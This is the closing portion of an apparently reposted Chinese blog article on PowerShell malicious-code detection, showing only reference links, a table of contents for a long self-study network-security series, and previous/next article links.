- https://github.com/lzybkr/ShowPSAst
- https://github.com/thewhiteninja/deobshell
- https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
- https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.psparser.tokenize?view=powershellsdk-7.0.0
自學篇(鏈接直接跳轉到正文):
- [網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
- [網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登錄加密入門筆記
- [網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
- [網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
- [網絡安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
- [網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
- [網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
- [網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
- [網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
- [網絡安全自學篇] 十.論文之基于機器學習算法的主機惡意代碼
- [網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
- [網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
- [網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
- [網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通信(一)
- [網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
- [網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
- [網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
- [網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
- [網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
- [網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
- [網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
- [網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
- [網絡安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
- [網絡安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
- [網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
- [網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
- [網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
- [網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防御原理(一)
- [網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防御原理(二)
- [網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
- [網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
- [網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
- [網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
- [網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
- [網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
- [網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啟動劫持
- [網絡安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
- [網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
- [網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
- [網絡安全自學篇] 四十.phpMyAdmin 4.8.1后臺文件包含漏洞復現及詳解(CVE-2018-12613)
- [網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
- [網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
- [網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
- [網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
- [網絡安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、進程關閉)
- [網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
- [網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
- [網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及常用DOS命令
- [網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、注冊表查看
- [網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
- [網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
- [網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
- [網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
- [網絡安全自學篇] 五十四.Windows漏洞利用之基于SEH異常處理機制的棧溢出攻擊及shell提取
- [網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
- [網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
- [網絡安全自學篇] 五十七.PE文件逆向之什么是數字簽名及Signtool簽名工具詳解(一)
- [網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
- [網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
- [網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
- [網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
- [網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
- [網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
- [網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
- [網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
- [網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
- [網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
- [網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
- [網絡安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
- [網絡安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
- [網絡安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
- [網絡安全自學篇] 七十二.逆向分析之OllyDbg動態調試工具(一)基礎入門及TraceMe案例分析
- [網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
- [網絡安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
- [網絡安全自學篇] 七十五.Vulnhub靶機滲透之bulldog信息收集和nc反彈shell(三)
- [網絡安全自學篇] 七十六.逆向分析之OllyDbg動態調試工具(二)INT3斷點、反調試、硬件斷點與內存斷點
- [網絡安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
- [網絡安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
- [網絡安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
- [網絡安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、文件包含、過濾繞過、SQL注入)
- [網絡安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(文件上傳漏洞、冰蝎蟻劍、反序列化phar)
- [網絡安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
- [網絡安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
- [網絡安全自學篇] 八十四.《Windows hk編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
- [網絡安全自學篇] 八十五.《Windows hk編程技術詳解》之注入技術詳解(全局鉤子、遠線程鉤子、突破Session 0注入、APC注入)
- [網絡安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
- [網絡安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
- [網絡安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
- [網絡安全自學篇] 八十九.PE文件解析之通過Python獲取時間戳判斷軟件來源地區
- [網絡安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
- [網絡安全自學篇] 九十一.阿里云搭建LNMP環境及實現PHP自定義網站IP訪問 (1)
- [網絡安全自學篇] 九十二.《Windows hk編程技術詳解》之病毒啟動技術創建進程API、突破SESSION0隔離、內存加載詳解(3)
- [網絡安全自學篇] 九十三.《Windows hk編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)
- [網絡安全自學篇] 九十四.《Windows hk編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)
- [網絡安全自學篇] 九十五.利用XAMPP任意命令執行漏洞提升權限(CVE-2020-11107)
總結
以上是生活随笔為你收集整理的[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [当人工智能遇上安全] 7.基于机器学习
- 下一篇: [论文阅读] (17)CCS2019 针